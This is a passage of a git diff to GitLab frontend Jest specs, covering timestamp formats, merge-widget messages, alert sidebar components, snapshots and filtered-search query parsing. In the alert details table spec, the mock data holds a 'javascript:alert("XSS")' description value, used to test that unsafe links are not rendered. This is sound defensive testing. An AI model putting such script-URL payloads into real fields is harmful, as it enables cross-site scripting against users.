+++ b/spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js
@@ -94,7 +94,7 @@ describe('MRWidgetPipeline', () => {
it('should render pipeline finished timestamp', () => {
expect(findPipelineFinishedAt().attributes()).toMatchObject({
- title: 'Apr 7, 2017 2:00pm GMT+0000',
+ title: 'Apr 7, 2017 2:00pm UTC',
datetime: mockData.pipeline.details.finished_at,
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_closed_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_closed_spec.js
index 55d7e2391b2..6ae218ce6f8 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_closed_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_closed_spec.js
@@ -18,8 +18,8 @@ describe('MRWidgetClosed', () => {
avatarUrl:
'http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
},
- mergedAt: 'Jan 24, 2018 1:02pm GMT+0000',
- closedAt: 'Jan 24, 2018 1:02pm GMT+0000',
+ mergedAt: 'Jan 24, 2018 1:02pm UTC',
+ closedAt: 'Jan 24, 2018 1:02pm UTC',
readableMergedAt: '',
readableClosedAt: 'less than a minute ago',
},
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_merged_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_merged_spec.js
index 6af8ac9e18e..6bb87893c31 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_merged_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_merged_spec.js
@@ -37,10 +37,10 @@ describe('MRWidgetMerged', () => {
avatarUrl:
'http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
},
- mergedAt: 'Jan 24, 2018 1:02pm GMT+0000',
+ mergedAt: 'Jan 24, 2018 1:02pm UTC',
readableMergedAt: '',
closedBy: {},
- closedAt: 'Jan 24, 2018 1:02pm GMT+0000',
+ closedAt: 'Jan 24, 2018 1:02pm UTC',
readableClosedAt: '',
},
updatedAt: 'mergedUpdatedAt',
@@ -236,6 +236,6 @@ describe('MRWidgetMerged', () => {
});
it('should use mergedEvent mergedAt as tooltip title', () => {
- expect(vm.$el.querySelector('time').getAttribute('title')).toBe('Jan 24, 2018 1:02pm GMT+0000');
+ expect(vm.$el.querySelector('time').getAttribute('title')).toBe('Jan 24, 2018 1:02pm UTC');
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_pipeline_blocked_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_pipeline_blocked_spec.js
index bd77a1d657e..9b10b078e89 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_pipeline_blocked_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_pipeline_blocked_spec.js
@@ -22,7 +22,7 @@ describe('MRWidgetPipelineBlocked', () => {
createWrapper();
expect(wrapper.text()).toBe(
- 'Pipeline blocked. The pipeline for this merge request requires a manual action to proceed',
+ "Merge blocked: pipeline must succeed. It's waiting for a manual action to continue.",
);
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js
index 85a42946325..2d00cd8e8d4 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js
@@ -59,12 +59,17 @@ const createTestService = () => ({
});
let wrapper;
-const createComponent = (customConfig = {}) => {
+const createComponent = (customConfig = {}, mergeRequestWidgetGraphql = false) => {
wrapper = shallowMount(ReadyToMerge, {
propsData: {
mr: createTestMr(customConfig),
service: createTestService(),
},
+ provide: {
+ glFeatures: {
+ mergeRequestWidgetGraphql,
+ },
+ },
});
};
@@ -123,26 +128,26 @@ describe('ReadyToMerge', () => {
});
describe('mergeButtonVariant', () => {
- it('defaults to success class', () => {
+ it('defaults to confirm class', () => {
createComponent({
mr: { availableAutoMergeStrategies: [] },
});
- expect(wrapper.vm.mergeButtonVariant).toEqual('success');
+ expect(wrapper.vm.mergeButtonVariant).toEqual('confirm');
});
- it('returns success class for success status', () => {
+ it('returns confirm class for success status', () => {
createComponent({
mr: { availableAutoMergeStrategies: [], pipeline: true },
});
- expect(wrapper.vm.mergeButtonVariant).toEqual('success');
+ expect(wrapper.vm.mergeButtonVariant).toEqual('confirm');
});
- it('returns info class for pending status', () => {
+ it('returns confirm class for pending status', () => {
createComponent();
- expect(wrapper.vm.mergeButtonVariant).toEqual('info');
+ expect(wrapper.vm.mergeButtonVariant).toEqual('confirm');
});
it('returns danger class for failed status', () => {
@@ -673,6 +678,34 @@ describe('ReadyToMerge', () => {
expect(findCommitEditElements().length).toBe(2);
});
+ it('should have two edit components when squash is enabled and there is more than 1 commit and mergeRequestWidgetGraphql is enabled', async () => {
+ createComponent(
+ {
+ mr: {
+ commitsCount: 2,
+ squashIsSelected: true,
+ enableSquashBeforeMerge: true,
+ },
+ },
+ true,
+ );
+
+ wrapper.setData({
+ loading: false,
+ state: {
+ ...createTestMr({}),
+ userPermissions: {},
+ squash: true,
+ mergeable: true,
+ commitCount: 2,
+ commitsWithoutMergeCommits: {},
+ },
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(findCommitEditElements().length).toBe(2);
+ });
+
it('should have one edit components when squash is enabled and there is 1 commit only', () => {
createComponent({
mr: {
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_wip_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_wip_spec.js
index e0077a008a2..0609086997b 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_wip_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_wip_spec.js
@@ -1,5 +1,5 @@
import Vue from 'vue';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import WorkInProgress from '~/vue_merge_request_widget/components/states/work_in_progress.vue';
import eventHub from '~/vue_merge_request_widget/event_hub';
@@ -63,10 +63,10 @@ describe('Wip', () => {
setImmediate(() => {
expect(vm.isMakingRequest).toBeTruthy();
expect(eventHub.$emit).toHaveBeenCalledWith('UpdateWidgetData', mrObj);
- expect(createFlash).toHaveBeenCalledWith(
- 'The merge request can now be merged.',
- 'notice',
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'The merge request can now be merged.',
+ type: 'notice',
+ });
done();
});
});
diff --git a/spec/frontend/vue_mr_widget/deployment/deployment_actions_spec.js b/spec/frontend/vue_mr_widget/deployment/deployment_actions_spec.js
index 22e58ac6abf..49783560bf2 100644
--- a/spec/frontend/vue_mr_widget/deployment/deployment_actions_spec.js
+++ b/spec/frontend/vue_mr_widget/deployment/deployment_actions_spec.js
@@ -1,5 +1,5 @@
import { mount } from '@vue/test-utils';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { visitUrl } from '~/lib/utils/url_utility';
import {
CREATED,
@@ -203,9 +203,9 @@ describe('DeploymentAction component', () => {
it('should call createFlash with error message', () => {
expect(createFlash).toHaveBeenCalled();
- expect(createFlash).toHaveBeenCalledWith(
- actionButtonMocks[configConst].errorMessage,
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: actionButtonMocks[configConst].errorMessage,
+ });
});
});
});
diff --git a/spec/frontend/vue_mr_widget/mr_widget_options_spec.js b/spec/frontend/vue_mr_widget/mr_widget_options_spec.js
index 446cd2a1e2f..9da370747fc 100644
--- a/spec/frontend/vue_mr_widget/mr_widget_options_spec.js
+++ b/spec/frontend/vue_mr_widget/mr_widget_options_spec.js
@@ -26,7 +26,7 @@ describe('MrWidgetOptions', () => {
let wrapper;
let mock;
- const COLLABORATION_MESSAGE = 'Allows commits from members who can merge to the target branch';
+ const COLLABORATION_MESSAGE = 'Members who can merge are allowed to add commits';
beforeEach(() => {
gl.mrWidgetData = { ...mockData };
@@ -532,7 +532,7 @@ describe('MrWidgetOptions', () => {
nextTick(() => {
const tooltip = wrapper.find('[data-testid="question-o-icon"]');
- expect(wrapper.text()).toContain('Deletes source branch');
+ expect(wrapper.text()).toContain('The source branch will be deleted');
expect(tooltip.attributes('title')).toBe(
'A user with write access to the source branch selected this option',
);
@@ -548,7 +548,7 @@ describe('MrWidgetOptions', () => {
nextTick(() => {
expect(wrapper.text()).toContain('The source branch has been deleted');
- expect(wrapper.text()).not.toContain('Deletes source branch');
+ expect(wrapper.text()).not.toContain('The source branch will be deleted');
done();
});
diff --git a/spec/frontend/vue_shared/alert_details/alert_status_spec.js b/spec/frontend/vue_shared/alert_details/alert_status_spec.js
index c532f688cbd..3fc13243bce 100644
--- a/spec/frontend/vue_shared/alert_details/alert_status_spec.js
+++ b/spec/frontend/vue_shared/alert_details/alert_status_spec.js
@@ -1,5 +1,5 @@
import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import updateAlertStatusMutation from '~/graphql_shared//mutations/alert_status_update.mutation.graphql';
import Tracking from '~/tracking';
@@ -10,9 +10,10 @@ const mockAlert = mockAlerts[0];
describe('AlertManagementStatus', () => {
let wrapper;
- const findStatusDropdown = () => wrapper.find(GlDropdown);
- const findFirstStatusOption = () => findStatusDropdown().find(GlDropdownItem);
+ const findStatusDropdown = () => wrapper.findComponent(GlDropdown);
+ const findFirstStatusOption = () => findStatusDropdown().findComponent(GlDropdownItem);
const findAllStatusOptions = () => findStatusDropdown().findAll(GlDropdownItem);
+ const findStatusDropdownHeader = () => wrapper.findByTestId('dropdown-header');
const selectFirstStatusOption = () => {
findFirstStatusOption().vm.$emit('click');
@@ -21,7 +22,7 @@ describe('AlertManagementStatus', () => {
};
function mountComponent({ props = {}, provide = {}, loading = false, stubs = {} } = {}) {
- wrapper = shallowMount(AlertManagementStatus, {
+ wrapper = shallowMountExtended(AlertManagementStatus, {
propsData: {
alert: { ...mockAlert },
projectPath: 'gitlab-org/gitlab',
@@ -43,17 +44,29 @@ describe('AlertManagementStatus', () => {
});
}
- beforeEach(() => {
- mountComponent();
- });
-
afterEach(() => {
if (wrapper) {
wrapper.destroy();
- wrapper = null;
}
});
+ describe('sidebar', () => {
+ it('displays the dropdown status header', () => {
+ mountComponent({ props: { isSidebar: true } });
+ expect(findStatusDropdownHeader().exists()).toBe(true);
+ });
+
+ it('hides the dropdown by default', () => {
+ mountComponent({ props: { isSidebar: true } });
+ expect(wrapper.classes()).toContain('gl-display-none');
+ });
+
+ it('shows the dropdown', () => {
+ mountComponent({ props: { isSidebar: true, isDropdownShowing: true } });
+ expect(wrapper.classes()).toContain('show');
+ });
+ });
+
describe('updating the alert status', () => {
const iid = '1527542';
const mockUpdatedMutationResult = {
@@ -99,6 +112,13 @@ describe('AlertManagementStatus', () => {
]);
});
+ it('emits an update event at the start and ending of the updating', async () => {
+ await selectFirstStatusOption();
+ expect(wrapper.emitted('handle-updating').length > 1).toBe(true);
+ expect(wrapper.emitted('handle-updating')[0]).toEqual([true]);
+ expect(wrapper.emitted('handle-updating')[1]).toEqual([false]);
+ });
+
it('emits an error when triggered a second time', async () => {
await selectFirstStatusOption();
await wrapper.vm.$nextTick();
diff --git a/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_assignees_spec.js b/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_assignees_spec.js
index db9b0930c06..9ae45071f45 100644
--- a/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_assignees_spec.js
+++ b/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_assignees_spec.js
@@ -21,6 +21,7 @@ describe('Alert Details Sidebar Assignees', () => {
id: 1,
name: 'User 1',
username: 'root',
+ webUrl: 'https://gitlab:3443/root',
},
{
avatar_url:
@@ -28,6 +29,7 @@ describe('Alert Details Sidebar Assignees', () => {
id: 2,
name: 'User 2',
username: 'not-root',
+ webUrl: 'https://gitlab:3443/non-root',
},
];
@@ -128,7 +130,7 @@ describe('Alert Details Sidebar Assignees', () => {
variables: {
iid: '1527542',
assigneeUsernames: ['root'],
- projectPath: 'projectPath',
+ fullPath: 'projectPath',
},
});
});
@@ -137,7 +139,7 @@ describe('Alert Details Sidebar Assignees', () => {
wrapper.setData({ isDropdownSearching: false });
const errorMutationResult = {
data: {
- alertSetAssignees: {
+ issuableSetAssignees: {
errors: ['There was a problem for sure.'],
alert: {},
},
diff --git a/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_status_spec.js b/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_status_spec.js
index d5be5b623b8..b00a20dab1a 100644
--- a/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_status_spec.js
+++ b/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_status_spec.js
@@ -1,6 +1,5 @@
-import { GlDropdown, GlDropdownItem, GlLoadingIcon } from '@gitlab/ui';
-import { mountExtended } from 'helpers/vue_test_utils_helper';
-import updateAlertStatusMutation from '~/graphql_shared/mutations/alert_status_update.mutation.graphql';
+import { GlDropdown, GlLoadingIcon } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import AlertStatus from '~/vue_shared/alert_details/components/alert_status.vue';
import AlertSidebarStatus from '~/vue_shared/alert_details/components/sidebar/sidebar_status.vue';
import { PAGE_CONFIG } from '~/vue_shared/alert_details/constants';
@@ -11,9 +10,7 @@ const mockAlert = mockAlerts[0];
describe('Alert Details Sidebar Status', () => {
let wrapper;
const findStatusDropdown = () => wrapper.findComponent(GlDropdown);
- const findStatusDropdownItem = () => wrapper.findComponent(GlDropdownItem);
const findStatusLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
- const findStatusDropdownHeader = () => wrapper.findByTestId('dropdown-header');
const findAlertStatus = () => wrapper.findComponent(AlertStatus);
const findStatus = () => wrapper.findByTestId('status');
const findSidebarIcon = () => wrapper.findByTestId('status-icon');
@@ -25,7 +22,7 @@ describe('Alert Details Sidebar Status', () => {
stubs = {},
provide = {},
} = {}) {
- wrapper = mountExtended(AlertSidebarStatus, {
+ wrapper = shallowMountExtended(AlertSidebarStatus, {
propsData: {
alert: { ...mockAlert },
...data,
@@ -63,11 +60,7 @@ describe('Alert Details Sidebar Status', () => {
});
it('displays status dropdown', () => {
- expect(findStatusDropdown().exists()).toBe(true);
- });
-
- it('displays the dropdown status header', () => {
- expect(findStatusDropdownHeader().exists()).toBe(true);
+ expect(findAlertStatus().exists()).toBe(true);
});
it('does not display the collapsed sidebar icon', () => {
@@ -75,42 +68,24 @@ describe('Alert Details Sidebar Status', () => {
});
describe('updating the alert status', () => {
- const mockUpdatedMutationResult = {
- data: {
- updateAlertStatus: {
- errors: [],
- alert: {
- status: 'acknowledged',
- },
- },
- },
- };
-
- beforeEach(() => {
+ it('ensures dropdown is hidden when loading', async () => {
mountComponent({
data: { alert: mockAlert },
sidebarCollapsed: false,
loading: false,
});
- });
-
- it('calls `$apollo.mutate` with `updateAlertStatus` mutation and variables containing `iid`, `status`, & `projectPath`', () => {
- jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue(mockUpdatedMutationResult);
- findStatusDropdownItem().vm.$emit('click');
-
- expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
- mutation: updateAlertStatusMutation,
- variables: {
- iid: '1527542',
- status: 'TRIGGERED',
- projectPath: 'projectPath',
- },
- });
+ findAlertStatus().vm.$emit('handle-updating', true);
+ await wrapper.vm.$nextTick();
+ expect(findStatusLoadingIcon().exists()).toBe(true);
});
it('stops updating when the request fails', () => {
- jest.spyOn(wrapper.vm.$apollo, 'mutate').mockReturnValue(Promise.reject(new Error()));
- findStatusDropdownItem().vm.$emit('click');
+ mountComponent({
+ data: { alert: mockAlert },
+ sidebarCollapsed: false,
+ loading: false,
+ });
+ findAlertStatus().vm.$emit('handle-updating', false);
expect(findStatusLoadingIcon().exists()).toBe(false);
expect(findStatus().text()).toBe('Triggered');
});
diff --git a/spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap
index 3be609f0dad..3f91591f5cd 100644
--- a/spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap
+++ b/spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap
@@ -5,7 +5,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
class="awards js-awards-block"
>
<button
- class="btn gl-mr-3 btn-default btn-md gl-button"
+ class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button"
data-testid="award-button"
title="Ada, Leonardo, and Marie"
type="button"
@@ -35,7 +35,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
</button>
<button
- class="btn gl-mr-3 btn-default btn-md gl-button selected"
+ class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button selected"
data-testid="award-button"
title="You, Ada, and Marie"
type="button"
@@ -65,7 +65,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
</button>
<button
- class="btn gl-mr-3 btn-default btn-md gl-button"
+ class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button"
data-testid="award-button"
title="Ada and Jane"
type="button"
@@ -95,7 +95,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
</button>
<button
- class="btn gl-mr-3 btn-default btn-md gl-button selected"
+ class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button selected"
data-testid="award-button"
title="You, Ada, Jane, and Leonardo"
type="button"
@@ -125,7 +125,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
</button>
<button
- class="btn gl-mr-3 btn-default btn-md gl-button selected"
+ class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button selected"
data-testid="award-button"
title="You"
type="button"
@@ -155,7 +155,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
</button>
<button
- class="btn gl-mr-3 btn-default btn-md gl-button"
+ class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button"
data-testid="award-button"
title="Marie"
type="button"
@@ -185,7 +185,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</span>
</button>
<button
- class="btn gl-mr-3 btn-default btn-md gl-button selected"
+ class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button selected"
data-testid="award-button"
title="You"
type="button"
@@ -216,7 +216,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
</button>
<div
- class="award-menu-holder"
+ class="award-menu-holder gl-my-2"
>
<button
aria-label="Add reaction"
@@ -238,6 +238,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
aria-hidden="true"
class="gl-icon s16"
data-testid="slight-smile-icon"
+ role="img"
>
<use
href="#slight-smile"
@@ -252,6 +253,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
aria-hidden="true"
class="gl-icon s16"
data-testid="smiley-icon"
+ role="img"
>
<use
href="#smiley"
@@ -266,6 +268,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
aria-hidden="true"
class="gl-icon s16"
data-testid="smile-icon"
+ role="img"
>
<use
href="#smile"
diff --git a/spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap
index adb6c935f96..45d34bcdd3f 100644
--- a/spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap
+++ b/spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap
@@ -14,6 +14,7 @@ exports[`Expand button on click when short text is provided renders button after
aria-hidden="true"
class="gl-button-icon gl-icon s16"
data-testid="ellipsis_h-icon"
+ role="img"
>
<use
href="#ellipsis_h"
@@ -43,6 +44,7 @@ exports[`Expand button on click when short text is provided renders button after
aria-hidden="true"
class="gl-button-icon gl-icon s16"
data-testid="ellipsis_h-icon"
+ role="img"
>
<use
href="#ellipsis_h"
@@ -67,6 +69,7 @@ exports[`Expand button when short text is provided renders button before text 1`
aria-hidden="true"
class="gl-button-icon gl-icon s16"
data-testid="ellipsis_h-icon"
+ role="img"
>
<use
href="#ellipsis_h"
@@ -96,6 +99,7 @@ exports[`Expand button when short text is provided renders button before text 1`
aria-hidden="true"
class="gl-button-icon gl-icon s16"
data-testid="ellipsis_h-icon"
+ role="img"
>
<use
href="#ellipsis_h"
diff --git a/spec/frontend/vue_shared/components/alert_details_table_spec.js b/spec/frontend/vue_shared/components/alert_details_table_spec.js
index 03b04a92bdf..b9a8a5bee97 100644
--- a/spec/frontend/vue_shared/components/alert_details_table_spec.js
+++ b/spec/frontend/vue_shared/components/alert_details_table_spec.js
@@ -1,4 +1,4 @@
-import { GlLoadingIcon, GlTable } from '@gitlab/ui';
+import { GlLink, GlLoadingIcon, GlTable } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
@@ -7,6 +7,9 @@ const mockAlert = {
title: 'SyntaxError: Invalid or unexpected token',
severity: 'CRITICAL',
eventCount: 7,
+ service: 'https://gitlab.com',
+ // eslint-disable-next-line no-script-url
+ description: 'javascript:alert("XSS")',
createdAt: '2020-04-17T23:18:14.996Z',
startedAt: '2020-04-17T23:18:14.996Z',
endedAt: '2020-04-17T23:18:14.996Z',
@@ -43,7 +46,7 @@ describe('AlertDetails', () => {
wrapper = null;
});
- const findTableComponent = () => wrapper.find(GlTable);
+ const findTableComponent = () => wrapper.findComponent(GlTable);
const findTableKeys = () => findTableComponent().findAll('tbody td:first-child');
const findTableFieldValueByKey = (fieldKey) =>
findTableComponent()
@@ -52,6 +55,7 @@ describe('AlertDetails', () => {
.at(0)
.find('td:nth-child(2)');
const findTableField = (fields, fieldName) => fields.filter((row) => row.text() === fieldName);
+ const findTableLinks = () => wrapper.findAllComponents(GlLink);
describe('Alert details', () => {
describe('empty state', () => {
@@ -88,7 +92,16 @@ describe('AlertDetails', () => {
it('should show allowed alert fields', () => {
const fields = findTableKeys();
- ['Iid', 'Title', 'Severity', 'Status', 'Hosts', 'Environment'].forEach((field) => {
+ [
+ 'Iid',
+ 'Title',
+ 'Severity',
+ 'Status',
+ 'Hosts',
+ 'Environment',
+ 'Service',
+ 'Description',
+ ].forEach((field) => {
expect(findTableField(fields, field).exists()).toBe(true);
});
});
@@ -99,6 +112,12 @@ describe('AlertDetails', () => {
expect(findTableField(fields, field).exists()).toBe(false);
});
});
+
+ it('should render a clickable URL if safe', () => {
+ expect(findTableLinks().wrappers).toHaveLength(1);
+ expect(findTableLinks().at(0).props('isUnsafeLink')).toBe(false);
+ expect(findTableLinks().at(0).attributes('href')).toBe(mockAlert.service);
+ });
});
describe('environment', () => {
diff --git a/spec/frontend/vue_shared/components/awards_list_spec.js b/spec/frontend/vue_shared/components/awards_list_spec.js
index 550ac4a9d38..55f9eedc169 100644
--- a/spec/frontend/vue_shared/components/awards_list_spec.js
+++ b/spec/frontend/vue_shared/components/awards_list_spec.js
@@ -41,7 +41,14 @@ const TEST_AWARDS = [
];
const TEST_ADD_BUTTON_CLASS = 'js-test-add-button-class';
-const REACTION_CONTROL_CLASSES = ['btn', 'gl-mr-3', 'btn-default', 'btn-md', 'gl-button'];
+const REACTION_CONTROL_CLASSES = [
+ 'btn',
+ 'gl-mr-3',
+ 'gl-my-2',
+ 'btn-default',
+ 'btn-md',
+ 'gl-button',
+];
describe('vue_shared/components/awards_list', () => {
let wrapper;
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js
index b2ed79cd75a..93cddff8421 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js
@@ -1,6 +1,9 @@
import { useLocalStorageSpy } from 'helpers/local_storage_helper';
import AccessorUtilities from '~/lib/utils/accessor';
+
+import { FILTERED_SEARCH_TERM } from '~/vue_shared/components/filtered_search_bar/constants';
+
import {
stripQuotes,
uniqueTokens,
@@ -210,6 +213,19 @@ describe('filterToQueryObject', () => {
const res = filterToQueryObject({ [token]: value });
expect(res).toEqual(result);
});
+
+ it.each([
+ [FILTERED_SEARCH_TERM, [{ value: '' }], { search: '' }],
+ [FILTERED_SEARCH_TERM, [{ value: 'bar' }], { search: 'bar' }],
+ [FILTERED_SEARCH_TERM, [{ value: 'bar' }, { value: '' }], { search: 'bar' }],
+ [FILTERED_SEARCH_TERM, [{ value: 'bar' }, { value: 'baz' }], { search: 'bar baz' }],
+ ])(
+ 'when filteredSearchTermKey=search gathers filter values %s=%j into query object=%j',
+ (token, value, result) => {
+ const res = filterToQueryObject({ [token]: value }, { filteredSearchTermKey: 'search' });
+ expect(res).toEqual(result);
+ },
+ );
});
describe('urlQueryToFilter', () => {
@@ -255,10 +271,61 @@ describe('urlQueryToFilter', () => {
},
],
['not[foo][]=bar', { foo: [{ value: 'bar', operator: '!=' }] }],
- ])('gathers filter values %s into query object=%j', (query, result) => {
- const res = urlQueryToFilter(query);
- expect(res).toEqual(result);
- });
+ ['nop=1&not[nop]=2', {}, { filterNamesAllowList: ['foo'] }],
+ [
+ 'foo[]=bar&not[foo][]=baz&nop=xxx&not[nop]=yyy',
+ {
+ foo: [
+ { value: 'bar', operator: '=' },
+ { value: 'baz', operator: '!=' },
+ ],
+ },
+ { filterNamesAllowList: ['foo'] },
+ ],
+ [
+ 'search=term&foo=bar',
+ {
+ [FILTERED_SEARCH_TERM]: [{ value: 'term' }],
+ foo: { value: 'bar', operator: '=' },
+ },
+ { filteredSearchTermKey: 'search' },
+ ],
+ [
+ 'search=my terms',
+ {
+ [FILTERED_SEARCH_TERM]: [{ value: 'my' }, { value: 'terms' }],
+ },
+ { filteredSearchTermKey: 'search' },
+ ],
+ [
+ 'search[]=my&search[]=terms',
+ {
+ [FILTERED_SEARCH_TERM]: [{ value: 'my' }, { value: 'terms' }],
+ },
+ { filteredSearchTermKey: 'search' },
+ ],
+ [
+ 'search=my+terms',
+ {
+ [FILTERED_SEARCH_TERM]: [{ value: 'my' }, { value: 'terms' }],
+ },
+ { filteredSearchTermKey: 'search', legacySpacesDecode: false },
+ ],
+ [
+ 'search=my terms&foo=bar&nop=xxx',
+ {
+ [FILTERED_SEARCH_TERM]: [{ value: 'my' }, { value: 'terms' }],
+ foo: { value: 'bar', operator: '=' },
+ },
+ { filteredSearchTermKey: 'search', filterNamesAllowList: ['foo'] },
+ ],
+ ])(
+ 'gathers filter values %s into query object=%j when options %j',
+ (query, result, options = undefined) => {
+ const res = urlQueryToFilter(query, options);
+ expect(res).toEqual(result);
+ },
+ );
});
describe('getRecentlyUsedTokenValues', () => {
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js b/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
index 23e4deab9c1..134c6c8b929 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
@@ -65,8 +65,8 @@ export const mockMilestones = [
];
export const mockEpics = [
- { iid: 1, id: 1, title: 'Foo' },
- { iid: 2, id: 2, title: 'Bar' },
+ { iid: 1, id: 1, title: 'Foo', group_full_path: 'gitlab-org' },
+ { iid: 2, id: 2, title: 'Bar', group_full_path: 'gitlab-org/design' },
];
export const mockEmoji1 = {
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/store/modules/filters/actions_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/store/modules/filters/actions_spec.js
index 05bad572472..4140ec09b4e 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/store/modules/filters/actions_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/store/modules/filters/actions_spec.js
@@ -3,7 +3,7 @@ import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import { mockBranches } from 'jest/vue_shared/components/filtered_search_bar/mock_data';
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import httpStatusCodes from '~/lib/utils/http_status';
import * as actions from '~/vue_shared/components/filtered_search_bar/store/modules/filters/actions';
import * as types from '~/vue_shared/components/filtered_search_bar/store/modules/filters/mutation_types';
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js
index 3b50927dcc6..f50eafdbc52 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js
@@ -1,13 +1,13 @@
import {
- GlFilteredSearchToken,
GlFilteredSearchTokenSegment,
GlFilteredSearchSuggestion,
GlDropdownDivider,
+ GlAvatar,
} from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import waitForPromises from 'helpers/wait_for_promises';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import {
@@ -15,6 +15,7 @@ import {
DEFAULT_NONE_ANY,
} from '~/vue_shared/components/filtered_search_bar/constants';
import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
+import BaseToken from '~/vue_shared/components/filtered_search_bar/tokens/base_token.vue';
import { mockAuthorToken, mockAuthors } from '../mock_data';
@@ -29,12 +30,22 @@ const defaultStubs = {
},
};
+const mockPreloadedAuthors = [
+ {
+ id: 13,
